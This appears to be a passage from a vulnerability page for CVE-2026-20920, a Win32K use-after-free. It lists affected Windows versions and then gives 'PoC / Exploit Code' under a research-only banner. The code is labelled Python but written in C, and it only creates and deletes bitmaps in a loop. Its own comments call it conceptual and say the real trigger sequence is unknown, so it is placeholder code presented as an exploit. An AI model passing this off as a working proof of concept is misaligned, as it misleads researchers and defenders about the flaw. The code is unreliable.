Windows 10 1809/1903/1909/2004/20H2/21H1/21H2/22H2
Windows 11 21H2/22H2
Windows Server 2019
Windows Server 2022
Windows Server Core 2019/2022
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-20920 PoC - Windows Win32K ICOMP Use After Free
// This is a conceptual PoC for demonstration purposes
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
// Trigger ICOMP UAF through specific Win32K API sequence
void TriggerICOMPUAF() {
HDC hdc = GetDC(NULL);
// Create specific GDI objects to trigger ICOMP path
// This requires specific conditions to trigger the UAF
for (int i = 0; i < 1000; i++) {
HBITMAP hBitmap = CreateBitmap(100, 100, 1, 32, NULL);
SelectObject(hdc, hBitmap);
DeleteObject(hBitmap);
}
// Trigger the vulnerable code path
// The specific API sequence depends on detailed analysis
ReleaseDC(NULL, hdc);
}
int main() {
printf("CVE-2026-20920 PoC - Win32K ICOMP UAF\n");
printf("This PoC demonstrates the vulnerability trigger.\n");
printf("Actual exploitation requires specific conditions.\n");
TriggerICOMPUAF();
return 0;
}